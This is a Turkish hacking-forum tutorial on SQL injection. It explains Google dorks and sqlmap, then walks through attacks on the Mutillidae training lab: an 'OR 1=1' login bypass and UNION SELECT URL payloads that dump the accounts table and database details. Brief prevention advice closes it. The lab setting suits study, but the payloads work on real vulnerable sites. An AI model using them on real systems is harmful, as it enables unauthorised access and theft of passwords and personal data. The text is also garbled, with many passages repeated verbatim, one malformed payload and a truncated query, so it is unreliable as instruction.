Merhaba değerli Türk Hack Team üyeleri.
Bugün sizinle birlikte SQL Enjeksiyon zafiyetini işleyeceğiz..
umarım tek temelim bu konuyu güzel şekilde anlamış olmanız hadi gelin konumuza geçelim.
GİRİŞ:
Bu bölümde şunlar çıkmaktadır
SQL Enjeksiyon zafiyeti nedir?
Farklı türlerdeki SQL güvenlik açıklarını bulma?
SQL zafiyeti nasıl önlenir?
ve Manuel SQL injection nasıl yapılır?
dork nedir ve nasıl oluşturulur?
SQL Enjeksiyon zafiyeti nedir?
Farklı türlerdeki SQL güvenlik açıklarını bulma?
SQL zafiyeti nasıl önlenir?
ve Manuel SQL injection nasıl yapılır?
dork nedir ve nasıl oluşturulur?
Google Dork nedir ve nasıl yapılır?
Günümüzde bir çok arama motorlarımızı Google üzerinde gerçekleştirmekteyiz. bu aramalar sonucunda ilgili ve ilgisiz
şey çıkmaktadır. Günümüzde bulunan hackerler bu Dorklar sayesinde sitelerin açığını bulabilmektedir..
Google Dork çeşitli anahtarlar mevcutur bu anahtarlar sayesinde şunlar yapıla bilinmektedir.
Günümüzde en yaygın Dorkalar.
Site:
Genelikle belirli bir web sitesi üzerinden arama yapmaya yarar.
İntitle
belirli başlığı olan sayfaları listeler.
Filetype
bu dork ise belirli bir belirli dosya tipini arar.
link
Belirli url bağlantı veren sayfalrı listeler.
SQL Enjeksiyon zafiyeti nedir?
SQL Enjeksiyonu zafiyetinde genellikle Bir saldırganın uygulamanın yapmış olduğu veritabanına yaptığı sorgulara müdahale etmesine olanak sağlayan bir web güvenlik açığıdır. bir saldırganın verileri görüntülemesine olanak sağlar Bu diğer kullanıcıların verilerine eriştiği zaman onları hem değiştirip hemde silme imkanı yaratır.
Başarılı bir SQL Enjeksiyon zafiyeti nelere yol açar?
eğer bir saldırgan bu açıktan yararlanarak siteye sızarsa aşağıda görmüş olduğunuz gibi hasas bilgiler elde edilir.
Kullanıcının şifreleri.
kullanıcın kıredi kartı bilgilerine erişim kazanır.
ve kişisel kullanıcı bilgileri elde edilir.
yılar boyunca SQL açığı yüzünden kullanıcıların hasas bilgileri çalındı. bazı durumlarda saldırgan kuruluşların sistemlerinde kalıcı
arka plan açar ve uzun vadeli bir tehlike ortaya çıkmış olur.
SQL Enjeksiyon zafiyeti nasıl tespit edilir ve Enjeksiyon nasıl yapılır?
SQL Enjeksiyon zafiyeti bir sitede aranıp bulunurken scrip kidde seviyesindeki saldırganların bile bilmediği bir şey vardır arama kutularında '(Tırnak işaret) koymak. bu tür özel karekterler forum girdilerini denetleyerek sayfada veritabanı hatası almaya yarar. böylelikle SQL açıkğı olmadığını Manuel olarak öğrenmiş oluruz.
Sitelerde SQL açığını aramak için özel toollar geliştirilmiştir bunların arasında en bilinen SQLMAP tır. sqlmap kullanıcıların, parolarını, hash, değerini, roleri tabloları, sutünları gibi bilgiler tespit edilir.
sqlmap açık kaynaklı bir araçtır. kali linux gibi işletim sistemine sahipseniz bu aracı kurup tespit edebilirisiniz.
Sitelerde SQL açığını aramak için özel toollar geliştirilmiştir bunların arasında en bilinen SQLMAP tır. sqlmap kullanıcıların, parolarını, hash, değerini, roleri tabloları, sutünları gibi bilgiler tespit edilir.
sqlmap açık kaynaklı bir araçtır. kali linux gibi işletim sistemine sahipseniz bu aracı kurup tespit edebilirisiniz.
SQL Enjeksiyon Mutilldea Çözümleri
Mutillidea, web güvenli alanında kendini geliştirmek isteyen kişiler için kuruldu içinde belirli zafiyetler barındıran bir eğtim kurumudur.
önecelikle amacımız ilk olarak uygulamaya hata aldırmak. bunun için var olan inputlardan her hangibi birinine tek tırnak işaret bırakıyoruz ve hata almasını bekliyoruz ve hatayı aldı..
Hatayıda gördüğünüz username alanında 3 tırnak işareti çıkmaktadır ve buyüzden hata almaktadır. aslında bu aşamada web uygulamamızın hangi SQL sorgusunu çalıştırdığını öğreniyoruz.
SELECT * FROM accounts WHERE username= '' and pasword="
önecelikle amacımız ilk olarak uygulamaya hata aldırmak. bunun için var olan inputlardan her hangibi birinine tek tırnak işaret bırakıyoruz ve hata almasını bekliyoruz ve hatayı aldı..
Hatayıda gördüğünüz username alanında 3 tırnak işareti çıkmaktadır ve buyüzden hata almaktadır. aslında bu aşamada web uygulamamızın hangi SQL sorgusunu çalıştırdığını öğreniyoruz.
SELECT * FROM accounts WHERE username= '' and pasword="
1- adım: Login olma (post methodu)
uygulamada yer alan Login ekranına giriş için kulanıcı bilgileri.
ıd: yakup
pasword: 123456
biz bu adımda pasword bilgisi yanlış olsa bile aşağıdaki methodu kullanarak uygulamaya giriş yapabiliriz. bunu yaparkende aşağıdaki methodu password alanına ekleriz.
123' OR 1=1 #
Aslında password alanına eklediğimiz arka tarafta çalışan sorgu.
SELECT * FROM accounts WHERE username =' yakup' AND password='123' or
Kodu açıklamak gerekirse git kullanıcı adına bak adminmi , sonrasında şifreye bak eğer şifre 123 ise giriş yap yada değilse ama
1=1 ise giriş yap burada 1=1 bize hep doğru sonuç verdi şifre yanlış olsa dahi biz giriş yapacağız.
biz bu adımda pasword bilgisi yanlış olsa bile aşağıdaki methodu kullanarak uygulamaya giriş yapabiliriz. bunu yaparkende aşağıdaki methodu password alanına ekleriz.
123' OR 1=1 #
Aslında password alanına eklediğimiz arka tarafta çalışan sorgu.
SELECT * FROM accounts WHERE username =' yakup' AND password='123' or
Kodu açıklamak gerekirse git kullanıcı adına bak adminmi , sonrasında şifreye bak eğer şifre 123 ise giriş yap yada değilse ama
1=1 ise giriş yap burada 1=1 bize hep doğru sonuç verdi şifre yanlış olsa dahi biz giriş yapacağız.
2- adım SQL Enjeksiyon (GET komutuna erişim)
bir önceki adımda POST methodunu kullanarak bir SQL Enjeksiyon yapmıştık şimdi ise GET methodunu kullanağız bunun için mutillidea uygulamasından yapacağız.
OWASP Top -> Al injecton ->SQLİ -Extract Data ->User ınfo sekmesini açıyoruz. bu uygulamanın çalışma mantığı ID ve Password bilgilerini girdiğimiz zaman bize o kulanıcıya ait bilgileri getirmekte. ayrıca url kısmında kullanıcımıza ait bilgilerin yazıldığını
görebiliriz.
OWASP Top -> Al injecton ->SQLİ -Extract Data ->User ınfo sekmesini açıyoruz. bu uygulamanın çalışma mantığı ID ve Password bilgilerini girdiğimiz zaman bize o kulanıcıya ait bilgileri getirmekte. ayrıca url kısmında kullanıcımıza ait bilgilerin yazıldığını
görebiliriz.
Bu durumda linki malupule edebiliriz bu örnekte yine ilk örnekte olduğu gibi ID sonra Enjeksiyon yapabiliriz. fakat burada enjeksiyonu url yapmış olacağız
http://10.0.2.6/mutillidae/index.ph...r-info-php-submit-button=View+Account+Details
varsayılan url adresi yukarıdaki gibidir Enjeksiyon gerçekleştirmek için usernamden sonra # kullanarak yapacağız.
dikatedecek olursak burada (tek tırnak) dan sonra # yerine %23 yazdık. bunun sebebise # değerini url koyduğumuz zaman HTML koduna çevirmeyeceği için biz kare yerine çevirilmiş olan %23 kulandık.
3- Adım veri tabanın bilgilerine erişmek.
şimdi admımızda tüm veri tabanı bilgilerini ele geçirmek olacak. Hatırlayacak olursak uygulamımız arka pılanda aşağıdaki sorguyu çalıştırmakta
SELECT * FROM accounts WHERE username='' AND password=''
biz bu adımda sorguyu aşağıdaki gibi değiştirirsek
biz bu adımda sorguyu aşağıdaki gibi değiştirirsek
artık accouns tablosundaki tüm kullanıcı bilgilerine erişe bilirim aynı işlemi url uzerinden yapmış olursak.
http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup'union select * from accounts %23+&password=123124&user-info-php-submit-button=View+Account+Details
bu adımda denilme yanılma yöntemi kullanarak kaydetmiş sütün değerlerni bulmaya çalışacağız. burada değiştirmemiz gereken alan order by dan sonra kullanacağımız rakamlar değiştirebiliriz. bu adımda doğru sutün sayısına ulaştığımız zaman artık kodumuzu değiştirerek erkrana bastıra biliriz.
SELECT * FROM accounts WHERE username='yakup' union select 1, 2, 3, 4, 5# AND password=''
aynı işlemi url içinde yapacak olursak.
http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup' union select 1, 2, 3, 4, 5%23+&password=123124&user-info-php-submit-button=View+Account+Details
şekilde güncelleyecek hangi sutünlar değer ister hangileri kullanarak bu değere ulaşabiliriz onu görmüş olacağız.
SELECT * FROM accounts WHERE username='yakup' union select 1, database(), user(), version(), 5# AND password=''
şeklinde günceliyoruz.
aynı güncelenmeyi url üzerinden yapacak olursak
http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup' select union 1, database(), user(), version(), 5%23+&password=123124&user-info-php-submit-button=View+Account+Details
ve daha sonra istediğimiz bilgilere erişim kazanıyoruz.
SQL Enjeksiyon nasıl önlenir.
paremetre Doğrulma fitrelme.
giriş alanlarını veya forum verilerinden gelen paremetleri doğrulayaın ve fitreleyin..
Paremetre bağlanma hazır sorgu kulanma.
SQL sorgularını dinamik olarak çaılışır paremetre hazır bağlanma veya hazır sorgular tekniğini kulanın.
Elimden geldiğince buraya kadar anlatmaya çalıştım emek vererek umarım yararım olmuştur görüşmek üzere.
http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup'union select * from accounts %23+&password=123124&user-info-php-submit-button=View+Account+Details
bu adımda denilme yanılma yöntemi kullanarak kaydetmiş sütün değerlerni bulmaya çalışacağız. burada değiştirmemiz gereken alan order by dan sonra kullanacağımız rakamlar değiştirebiliriz. bu adımda doğru sutün sayısına ulaştığımız zaman artık kodumuzu değiştirerek erkrana bastıra biliriz.
SELECT * FROM accounts WHERE username='yakup' union select 1, 2, 3, 4, 5# AND password=''
aynı işlemi url içinde yapacak olursak.
http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup' union select 1, 2, 3, 4, 5%23+&password=123124&user-info-php-submit-button=View+Account+Details
şekilde güncelleyecek hangi sutünlar değer ister hangileri kullanarak bu değere ulaşabiliriz onu görmüş olacağız.
SELECT * FROM accounts WHERE username='yakup' union select 1, database(), user(), version(), 5# AND password=''
şeklinde günceliyoruz.
aynı güncelenmeyi url üzerinden yapacak olursak
http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup' select union 1, database(), user(), version(), 5%23+&password=123124&user-info-php-submit-button=View+Account+Details
ve daha sonra istediğimiz bilgilere erişim kazanıyoruz.
SQL Enjeksiyon nasıl önlenir.
paremetre Doğrulma fitrelme.
giriş alanlarını veya forum verilerinden gelen paremetleri doğrulayaın ve fitreleyin..
Paremetre bağlanma hazır sorgu kulanma.
SQL sorgularını dinamik olarak çaılışır paremetre hazır bağlanma veya hazır sorgular tekniğini kulanın.
Elimden geldiğince buraya kadar anlatmaya çalıştım emek vererek umarım yararım olmuştur görüşmek üzere.
Son düzenleme: